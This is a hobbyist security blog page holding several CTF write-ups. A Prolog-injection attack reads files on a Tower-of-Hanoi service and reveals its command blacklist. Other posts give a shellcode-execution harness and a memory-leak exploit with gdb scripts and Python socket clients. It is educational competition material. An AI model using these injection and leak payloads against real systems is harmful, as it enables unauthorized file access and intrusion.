I'm sure you're watching Gynvael's youtube channel (https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg) and read his blog at http://gynvael.coldwind.pl.
He left a note on his blog.
Here's my attempt to find his cats.
https://gist.github.com/fritzfs/cb06d43b55bbbb5d2d2b3934d2ca2f34
fritz's lair
Computer enthusiast interested in software development and security analysis. www.fritzfs.info
Thursday, March 8, 2018
Sunday, July 12, 2015
Writeup: HAAS (hanoi as a service) @ PoliCTF 2015
Let's try it.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1 * Move top disk from a to b
Now we try some non-expected characters.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? a ERROR: Prolog initialisation failed: ERROR:
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? ' ERROR: Prolog initialisation failed: ERROR: Syntax error: End of file in quoted string ERROR: hanoi(') ERROR: ** here ** ERROR:
It seems that we can do command injection here.
Time to take a quick learning course at http://www.swi-prolog.org/pldoc/man?section=builtin.
Let's discover how can we inject something without error. After seeing couple of prolog examples and trial and error we got this.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),write('test'),nl% * Move top disk from a to b test
So, that's it. First part "1)" closes hanoi call and last part "%" comments the real rest of hanoi call. In between we can inject our statements.
Maybe we could execute shell?
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),shell('sh'),nl% Sorry, that's not implemented!
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),system('sh'),nl% Nice try...
Nah, seems it's blacklisted or something.
So the idea is to read flag file and print it.
Flag is usually in file called "flag".
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('flag',read,str),read(str,m),write(m),nl% * Move top disk from a to b ERROR: Prolog initialisation failed: ERROR: open/3: source_sink `flag' does not exist (No such file or directory)
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('/home/haas/flag',read,str),read(str,m),write(m),nl% * Move top disk from a to b ERROR: Prolog initialisation failed: ERROR: open/3: source_sink `/home/haas/flag' does not exist (No such file or directory)
It seems we'll have to get listing first in order to find flag file. There's a "ls" statement which can be used for this.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),ls,nl% * Move top disk from a to b bin/ initrd.img mnt/ run/ usr/ boot/ lib/ netdumps/ sbin/ var/ dev/ lib64/ opt/ srv/ vmlinuz etc/ lost+found/ proc/ sys/ home/ media/ root/ tmp/
After that we should use working_directory to switch current directory and do another ls under home and so on ...
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home'),ls,nl% * Move top disk from a to b ctf/ ubuntu/
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home/ctf'),ls,nl% * Move top disk from a to b haas/
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),working_directory(CWD,'/home/ctf/haas'),ls,nl% * Move top disk from a to b haas haas-proxy.py jhknsjdfhef_flag_here
Ok, so that's the file name - jhknsjdfhef_flag_here.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read(Str,m),close(Str),write(m),nl% * Move top disk from a to b ERROR: /home/ctf/haas/jhknsjdfhef_flag_here:1: Prolog initialisation failed: /home/ctf/haas/jhknsjdfhef_flag_here:1: Syntax error: Unexpected end of file
Damn it. Google says that we have to use at_end_of_stream(Str) somewhere, but I didn't manage to get it so I've switched to another method.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),use_module(library(readutil)),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read_line_to_codes(Str,Line),write(Line),nl% * Move top disk from a to b [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
Let's convert those numbers into characters.
C:\Users\fstipanovic>python Python 2.7.8 (default, Jun 30 2014, 16:08:48) [MSC v.1500 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> a = [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125] >>> b = "" >>> for c in a: ... b += chr(c) ... >>> print b flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
That's the flag.
I wanted to take a look at challenge source codes and this was a way to get them.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),listing,nl% * Move top disk from a to b dohanoi(0, _, _, _) :- !. dohanoi(A, C, E, D) :- !, B is A+ -1, dohanoi(B, C, D, E), moveit(C, E), dohanoi(B, D, E, C). hanoi(A) :- A<15 br=""> dohanoi(A, a, b, c). hanoi(A) :-
A>=15, write('Hey, this problem is too big for my poor mind...'), nl. :- multifile prolog_clause_name/2. :- dynamic prolog_exception_hook/4. :- multifile prolog_exception_hook/4. prolog_exception_hook(error(A, context(D, B)), error(A, context(prolog_stack(I), B)), G, C) :- prolog_stack: ( ( C==none -> stack_guard(none) ; prolog_frame_attribute(C, predicate_indicator, E), debug(backtrace, 'Got exception ~p (Ctx0=~p, Catcher=~p)', [A, D, E]), stack_guard(E) ), ( current_prolog_flag(backtrace_depth, F) -> F>0 ; F=20 ), get_prolog_backtrace(G, F, H), debug(backtrace, 'Stack = ~p', [H]), clean_stack(H, I) ). :- dynamic resource/3. :- multifile resource/3. first(A, [A|_]). :- multifile prolog_list_goal/1. :- thread_local thread_message_hook/3. :- dynamic thread_message_hook/3. :- volatile thread_message_hook/3. :- multifile prolog_predicate_name/2. moveit(A, B) :- print('* Move top disk from '), print(A), print(' to '), print(B), nl. main :- A=[104, 97, 110, 111, 105, 40], D=[41], write('Welcome to the Hanoi-as-a-Service cloud platform!'), nl, write('How many disks does your tower have?'), nl, read_line_to_codes(user_input, B), append(A, B, C), append(C, D, E), string_to_atom(E, F), read_term_from_atom(F, G, []), call(G), halt(0). :- multifile message_property/2.15>
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80 Welcome to the Hanoi-as-a-Service cloud platform! How many disks does your tower have? 1),use_module(library(readutil)),open('/home/ctf/haas/haas-proxy.py',read,Str),read_stream_to_codes(Str,Line),write(Line),nl% * Move top disk from a to b [35,33,47,117,115,114,47,98,105,110,47,101,110,118,...]
fritz@fritz-virtual-machine:~/ctf/polictf$ python Python 2.7.8 (default, Oct 20 2014, 15:05:19) [GCC 4.9.1] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> a = ... >>> b = "" >>> for c in a: ... b += chr(c) ... >>> print b #!/usr/bin/env python import subprocess import sys import os import threading import random def stdinreader(): while True: try: l = sys.stdin.readline() except KeyboardInterrupt: break if not l: break yield l class Proxy: def __init__(self, blacklist, phrases, args): self.blacklist = blacklist self.phrases = phrases try: self.chld = subprocess.Popen(args, stdin=subprocess.PIPE) except OSError: print "Error starting the haas process." sys.exit(1) def is_allowed(self, l): return reduce(lambda x,y: x and y, [x not in l for x in self.blacklist], True) def listen(self): for line in stdinreader(): if self.chld.poll() is None: if self.is_allowed(line): self.chld.communicate(line) else: print random.choice(self.phrases) break else: return self.chld.terminate() def run(self): t = threading.Thread(target=self.listen) t.daemon = True t.start() self.chld.wait() if __name__ == '__main__': bl = ['shell','unix','system','cd','argv'] phrases = ['Nice try...', 'Nope.', 'What are you trying to do?!?', "Sorry, that's not implemented!"] ex = os.path.join(os.path.dirname(os.path.realpath(__file__)), "haas") if len(sys.argv) == 2: ex = sys.argv[1] proxy = Proxy(bl, phrases, [ex]) proxy.run()
So we were right. Shell, unix and system were blacklisted.
Monday, May 18, 2015
Writeup: Coding 1 @ DEFCON CTF Quals 2015
This was the task. Connect to remote host, receive initial register state and instructions in binary.
Not pretty, but I solved this using python, c and gdb.
coding1sc.c code, compile: gcc -fno-stack-protector -z execstack coding1sc.c -o coding1sc
#include
int main(int argc, char **argv)
{
int fp;
char buffer[512];
fp = fopen(argv[1], "rb");
fread(buffer, sizeof(buffer), 1, fp);
fclose(fp);
int (*func)();
func = (int (*)()) buffer;
(int)(*func)();
return 0;
}
coding1.gdb script
break *0x400649
commands
print $rax
print $rbx
print $rcx
print $rdx
print $rsi
print $rdi
print $r8
print $r9
print $r10
print $r11
print $r12
print $r13
print $r14
print $r15
c
end
r coding1.bin
coding1.py
import commands
import socket
import re
import os
def rv(reg, line):
return re.search('%s=0x([0-9a-f]+)' % reg, line).group(1).zfill(16)
def rv2(reg, line):
return re.search('\$%s = (0x[0-9a-f]+)' % reg, line).group(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me', 9999))
data = s.recv(1024)
rax = rv('rax', data)
rbx = rv('rbx', data)
rcx = rv('rcx', data)
rdx = rv('rdx', data)
rsi = rv('rsi', data)
rdi = rv('rdi', data)
r8 = rv('r8', data)
r9 = rv('r9', data)
r10 = rv('r10', data)
r11 = rv('r11', data)
r12 = rv('r12', data)
r13 = rv('r13', data)
r14 = rv('r14', data)
r15 = rv('r15', data)
inst = '\x48\xb8' + rax.decode('hex')[::-1]
inst += '\x48\xbb' + rbx.decode('hex')[::-1]
inst += '\x48\xb9' + rcx.decode('hex')[::-1]
inst += '\x48\xba' + rdx.decode('hex')[::-1]
inst += '\x48\xbe' + rsi.decode('hex')[::-1]
inst += '\x48\xbf' + rdi.decode('hex')[::-1]
inst += '\x49\xb8' + r8.decode('hex')[::-1]
inst += '\x49\xb9' + r9.decode('hex')[::-1]
inst += '\x49\xba' + r10.decode('hex')[::-1]
inst += '\x49\xbb' + r11.decode('hex')[::-1]
inst += '\x49\xbc' + r12.decode('hex')[::-1]
inst += '\x49\xbd' + r13.decode('hex')[::-1]
inst += '\x49\xbe' + r14.decode('hex')[::-1]
inst += '\x49\xbf' + r15.decode('hex')[::-1]
data = s.recv(1024)
bytes = int(re.search('About to send (\d+) bytes', data).group(1))
inst += data[-bytes:]
f = open('coding1.bin', 'wb')
f.write(inst)
f.close()
o = commands.getoutput('gdb ./coding1sc < coding1.gdb')
final = 'rax=%s\r\n' % rv2('1', o)
final += 'rbx=%s\r\n' % rv2('2', o)
final += 'rcx=%s\r\n' % rv2('3', o)
final += 'rdx=%s\r\n' % rv2('4', o)
final += 'rsi=%s\r\n' % rv2('5', o)
final += 'rdi=%s\r\n' % rv2('6', o)
final += 'r8=%s\r\n' % rv2('7', o)
final += 'r9=%s\r\n' % rv2('8', o)
final += 'r10=%s\r\n' % rv2('9', o)
final += 'r11=%s\r\n' % rv2('10', o)
final += 'r12=%s\r\n' % rv2('11', o)
final += 'r13=%s\r\n' % rv2('12', o)
final += 'r14=%s\r\n' % rv2('13', o)
final += 'r15=%s\r\n' % rv2('14', o)
print 'Sending', final
s.sendall(final)
print s.recv(1024)
s.close()Let's use all this.
Monday, May 11, 2015
Writeup: Saw this -1 @ ASIS CTF Quals 2015
Category: pwn
Points: 100
Description:
After loading binary in disassembler we easily identify the application flow.
random A = rand()
name = ask_user("How can I call you?")
print("Welcome $name")
lucky_number = ask_user("Choose your lucky number ...")
srand(lucky_number + random A)
how_many_numbers = generate_random()
for i in 1 to how_many_numbers:
number[i] = generate_random()
for i in 1 to how_many_numbers:
guess = ask_user("Number $i")
if guess != number[i]:
quit
We can almost predict random numbers. Part of seed is our lucky number and another part is random number A. Second part is unknown, how can we get it?
Let's take a look at memory layout.
RandomA is placed right after username buffer and that's good because of printf. Plan is to fulfill username buffer so that printf prints random A also.
Good, so we have leakage here.
Now we have to re-implement same algorithm in C using srand/rand or we can use existing binary. I chose the latter.
Idea is this:
connect to remote binary (ip 87.107.123.3, port 31337)
send A * 64 characters as username
read random A (4 bytes after username)
send 5 (or whatever) as lucky number
run local binary with breakpoints and commands to emulate same numbers
read predicted numbers
type numbers in remote binary and enjoy the flag
Take a look at function on 0x400D73. With couple of breakpoints and EIP/RIP redirection we can use that function to emulate environment and read random numbers. It's fairly simple so just gdb script is listed below.
break *0x400D89
commands
set $rip = 0x400E46
c
end
break *0x400E46
commands
set $edx = 0x11223344
set $eax = 5
c
end
break *0x400E8B
commands
set $count = $eax
set $i = 0
set $rip = 0x400EAE
c
end
break *0x400ECD
commands
print/u $dl
set $i = $i + 1
if $i == $count
quit
end
set $rip = 0x400EAE
c
end
r
We also need client which will connect to remote binary, read random A and tell us with which argument do we have to run local binary.
import socket
import sys
import struct
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('87.107.123.3', 31337))
while True:
d = s.recv(1024)
print d
if 'How can I call you?' in d:
break
s.sendall('A' * 64)
d = s.recv(1024)
leak = d[73:77]
leak = leak[::-1]
leak = leak.encode('hex')
print 'change 0x11223344 to 0x%s in script file' % (leak)
s.sendall('5\n')
print s.recv(1024)
t = telnetlib.Telnet()
t.sock = s
t.interact()
Let's use all this and get the flag.
Wednesday, June 26, 2013
Solving Calyx Android Challenge #2
Solved another android challenge from Calyx. Take a look at it here.
Sunday, June 2, 2013
ebCTF 2013 teaser - participation
Short post regarding CTF :-)
Eindbazen organized CTF for first time. They done a great job. My team gn00bz finished on 13th place. I was stuck on NET300 task and I'm happy to see this writeup by tsuro and comawill - https://gist.github.com/schlafloswille/5692285.
Friday, May 31, 2013
Solving Calyx #1 Android challenge
I decided to be less inactive on this blog :-)
Friend from Calyx posted Android challenge. Here's my writeup.
Friend from Calyx posted Android challenge. Here's my writeup.
Subscribe to:
Posts (Atom)